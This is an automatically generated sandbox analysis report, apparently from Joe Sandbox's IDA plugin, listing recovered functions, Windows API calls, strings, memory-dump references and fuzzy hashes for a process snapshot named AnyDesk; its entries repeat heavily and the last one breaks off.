Opcode ID: 6f1b15b37d12cf820a70d64835e7d721bc439298835cdc5845711705c700d319
Instruction ID: 130cbf3610a7cfa5a204cd071ebe5ec6498ed78824f42f669c6125b95bf68b78
Opcode Fuzzy Hash: 6f1b15b37d12cf820a70d64835e7d721bc439298835cdc5845711705c700d319
Instruction Fuzzy Hash: CE11E33254461EABCFB32B7CAC04B5E3B95EF953E1F204125FA59DA1E1DF3086808B91

Uniqueness

Uniqueness Score: -1.00%

Function 0170EE80 Relevance: 7.5, APIs: 5, Instructions: 44comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0170EE99
SetEvent.KERNEL32(?,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 0170EEB1
OleUninitialize.OLE32 ref: 0170EED7
TlsGetValue.KERNEL32(0000001E,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 0170EEE7
TlsSetValue.KERNEL32(0000001E,00000000), ref: 0170EEFF

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: Value$EventInitializeUninitialize
String ID:
API String ID: 566941487-0
Opcode ID: 8eee63d09194535277ba289e39f51de7f17b7098c89b5279a2d886cd9923a367
Instruction ID: 001cdf4ac2c9c99a7178035af378eb65fb03b255c2808c3badce538571610125
Opcode Fuzzy Hash: 8eee63d09194535277ba289e39f51de7f17b7098c89b5279a2d886cd9923a367
Instruction Fuzzy Hash: 83015EB1604741ABE7219B65DD09B1BBAE8AF54A14F440A1CF506C6784EB79A5008B16

Uniqueness

Uniqueness Score: -1.00%

Function 0170EE80 Relevance: 7.5, APIs: 5, Instructions: 44comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0170EE99
SetEvent.KERNEL32(?,?,?,?,0186BCC8,000000FF,0170EE6B), ref: 0170EEB1
OleUninitialize.OLE32 ref: 0170EED7
TlsGetValue.KERNEL32 ref: 0170EEE7
TlsSetValue.KERNEL32(0000001E,00000000), ref: 0170EEFF

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: Value$EventInitializeUninitialize
String ID:
API String ID: 566941487-0
Opcode ID: 8eee63d09194535277ba289e39f51de7f17b7098c89b5279a2d886cd9923a367
Instruction ID: 001cdf4ac2c9c99a7178035af378eb65fb03b255c2808c3badce538571610125
Opcode Fuzzy Hash: 8eee63d09194535277ba289e39f51de7f17b7098c89b5279a2d886cd9923a367
Instruction Fuzzy Hash: 83015EB1604741ABE7219B65DD09B1BBAE8AF54A14F440A1CF506C6784EB79A5008B16

Uniqueness

Uniqueness Score: -1.00%

Function 012A19FE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000028,00000004,00000000,012A1CCE,?), ref: 012A1A84
VirtualProtect.KERNEL32(?,00000028,00000000,00000000), ref: 012A1A9B

Strings

.text, xrefs: 012A1A22
.itext, xrefs: 012A1A54

Memory Dump Source

Source File: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: ProtectVirtual
String ID: .itext$.text
API String ID: 544645111-3616233406
Opcode ID: cbed0b1202048f38495b5fe936cab040d2e5f41be7ff3f2d53f55f716eddf472
Instruction ID: f391e521d9f910ed89fe5a859ee75b25af33c4dfba6e696011bd7058eb164235
Opcode Fuzzy Hash: cbed0b1202048f38495b5fe936cab040d2e5f41be7ff3f2d53f55f716eddf472
Instruction Fuzzy Hash: 2211E476A20311ABD720CF94CC81ABEB7F8EB04B61F444529EE42E6142E670E998C760

Uniqueness

Uniqueness Score: -1.00%

Function 016F9B80 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00207540,C0000000,00000007,00000000,00000004,00000000,00000000), ref: 016F9BA4
GetLastError.KERNEL32(?,?,?,?,016F9C32,00000000,?), ref: 016F9BB8

Strings

Couldn't open the trace file (%08lx)., xrefs: 016F9BBF
@u , xrefs: 016F9B86

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: CreateErrorFileLast
String ID: @u $Couldn't open the trace file (%08lx).
API String ID: 1214770103-191454282
Opcode ID: 025399029642baae4bf6f471a9d31319d35a1e5ad2eb26817dae92430b9e7728
Instruction ID: c6ef708d41f71a73de97099c578c7d13867fd9141276b7136896a7a4956e70e3
Opcode Fuzzy Hash: 025399029642baae4bf6f471a9d31319d35a1e5ad2eb26817dae92430b9e7728
Instruction Fuzzy Hash: A4F082B06407449FF7314B399C097567AE07B0471DF90474CF385A67C1D3B8A044CB19

Uniqueness

Uniqueness Score: -1.00%

Function 016F9B80 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00207540,C0000000,00000007,00000000,00000004,00000000,00000000), ref: 016F9BA4
GetLastError.KERNEL32(?,?,?,?,016F9C32,00000000,?), ref: 016F9BB8

Strings

Couldn't open the trace file (%08lx)., xrefs: 016F9BBF
@u , xrefs: 016F9B86

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: CreateErrorFileLast
String ID: @u $Couldn't open the trace file (%08lx).
API String ID: 1214770103-191454282
Opcode ID: 025399029642baae4bf6f471a9d31319d35a1e5ad2eb26817dae92430b9e7728
Instruction ID: c6ef708d41f71a73de97099c578c7d13867fd9141276b7136896a7a4956e70e3
Opcode Fuzzy Hash: 025399029642baae4bf6f471a9d31319d35a1e5ad2eb26817dae92430b9e7728
Instruction Fuzzy Hash: A4F082B06407449FF7314B399C097567AE07B0471DF90474CF385A67C1D3B8A044CB19

Uniqueness

Uniqueness Score: -1.00%

Function 012A1000 Relevance: 1.6, APIs: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?,?,?,?,012A1B87,?,?,?,00BC5E00,012A4000,00BD5E00,?), ref: 012A1045

Memory Dump Source

Source File: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8ad0bd426fc4e14450ebb4a25b13beb1236773bfd8cb879707df8a141987a14b
Instruction ID: 778adcaa0b299c83761668e44e0eac9a1c42fd3ffb6925b31d4baba78ea647aa
Opcode Fuzzy Hash: 8ad0bd426fc4e14450ebb4a25b13beb1236773bfd8cb879707df8a141987a14b
Instruction Fuzzy Hash: CD418DB1620701CFC764CF19C880A66B7F5FF58320F548A2EE99A87A51E374F495CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0180D77A Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 0180D7BD

Part of subcall function 01804C61: __getptd_noexit.LIBCMT ref: 01804C61

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: b6a50ff3573b261f23119e320f99afd66e2057c32c259adaade7469714f3510a
Instruction ID: 4c58cd3716f0e878e220946b6169aed09bc0f48a68ae74b354050828861f4576
Opcode Fuzzy Hash: b6a50ff3573b261f23119e320f99afd66e2057c32c259adaade7469714f3510a
Instruction Fuzzy Hash: 0801D43520129D9BFBBB9EEDDC84B6A3794ABC1760F144729EA15CB1D0DB30D6408B50

Uniqueness

Uniqueness Score: -1.00%

Function 0180D77A Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,01809A0A,00000000,?,00000000,00000000,00000000,?,0180854D,00000001,00000214,?,0170EEF3), ref: 0180D7BD

Part of subcall function 01804C61: __getptd_noexit.LIBCMT ref: 01804C61

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: b6a50ff3573b261f23119e320f99afd66e2057c32c259adaade7469714f3510a
Instruction ID: 4c58cd3716f0e878e220946b6169aed09bc0f48a68ae74b354050828861f4576
Opcode Fuzzy Hash: b6a50ff3573b261f23119e320f99afd66e2057c32c259adaade7469714f3510a
Instruction Fuzzy Hash: 0801D43520129D9BFBBB9EEDDC84B6A3794ABC1760F144729EA15CB1D0DB30D6408B50

Uniqueness

Uniqueness Score: -1.00%

Function 012A1E30 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,?,012A1CD9,?,?), ref: 012A1E44

Memory Dump Source

Source File: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8e3f2d1fa4182e9d9b01c9221e90bc64dd00d1f9cec18ec16d876464e1afdf50
Instruction ID: 9afc7a90d0d20ce8de2f5f04c056dc9395df548a4bbd690bb39cfd3ae259ab0f
Opcode Fuzzy Hash: 8e3f2d1fa4182e9d9b01c9221e90bc64dd00d1f9cec18ec16d876464e1afdf50
Instruction Fuzzy Hash: 28C04C35554100AFCF429F94EC4CF5977E8FF58715F484884F109C7160CA319811DB11

Uniqueness

Uniqueness Score: -1.00%

Function 018083AE Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 018083B0

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: bfdb92459ff919e9ed401a155667727a37cc8c04d5e9e26a15b95f7d31f56278
Instruction ID: f111fbbf89ad123b8efc69005e93ea5178545f8ac70568497836c51db774e81e
Opcode Fuzzy Hash: bfdb92459ff919e9ed401a155667727a37cc8c04d5e9e26a15b95f7d31f56278
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 018083AE Relevance: 1.5, APIs: 1, Instructions: 3COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,0181727D,01DFFAC8,00000314,00000000,?,?,?,?,?,0180772B,01DFFAC8,Microsoft Visual C++ Runtime Library,00012010), ref: 018083B0

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A5000, based on PE: true

Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: bfdb92459ff919e9ed401a155667727a37cc8c04d5e9e26a15b95f7d31f56278
Instruction ID: f111fbbf89ad123b8efc69005e93ea5178545f8ac70568497836c51db774e81e
Opcode Fuzzy Hash: bfdb92459ff919e9ed401a155667727a37cc8c04d5e9e26a15b95f7d31f56278
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 012A1E47 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 012A1E5A

Memory Dump Source

Source File: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: cc7e9b30c6f393fb4d60dd92e34ab17e58a246e75dd990a5860ee9437a13b621
Instruction ID: 80203c770e94dd3c25a6ff2117a0416d7e03084859178eaad9270ba2338d8f74
Opcode Fuzzy Hash: cc7e9b30c6f393fb4d60dd92e34ab17e58a246e75dd990a5860ee9437a13b621
Instruction Fuzzy Hash: 8DC00236544111EFCF515F94E80CEDABBA8EF58365F0A8844F24997061C6319896CB51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01810229 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 018195CA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 018195DF
UnhandledExceptionFilter.KERNEL32(018A9B6C), ref: 018195EA
GetCurrentProcess.KERNEL32(C0000409), ref: 01819606
TerminateProcess.KERNEL32(00000000), ref: 0181960D

Strings

loRQ, xrefs: 018195BF

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: loRQ
API String ID: 2579439406-2279490830
Opcode ID: 6b0e1523395113a4b3e5b345e646f8b07873d8f3684056df7e3eb1e8197b97bf
Instruction ID: 500aaf237c0718dd08ea6281519ccbc949eccdf556fd5b4f213dd767ffb64af4
Opcode Fuzzy Hash: 6b0e1523395113a4b3e5b345e646f8b07873d8f3684056df7e3eb1e8197b97bf
Instruction Fuzzy Hash: 6821AEB5802B04DFD7B2DF2AE184B583BA4BB08384F40105AF509D7389EBB396C18F45

Uniqueness

Uniqueness Score: -1.00%

Function 01810229 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 018195CA
SetUnhandledExceptionFilter.KERNEL32 ref: 018195DF
UnhandledExceptionFilter.KERNEL32(018A9B6C), ref: 018195EA
GetCurrentProcess.KERNEL32(C0000409), ref: 01819606
TerminateProcess.KERNEL32(00000000), ref: 0181960D

Strings

loRQ, xrefs: 018195BF

Memory Dump Source

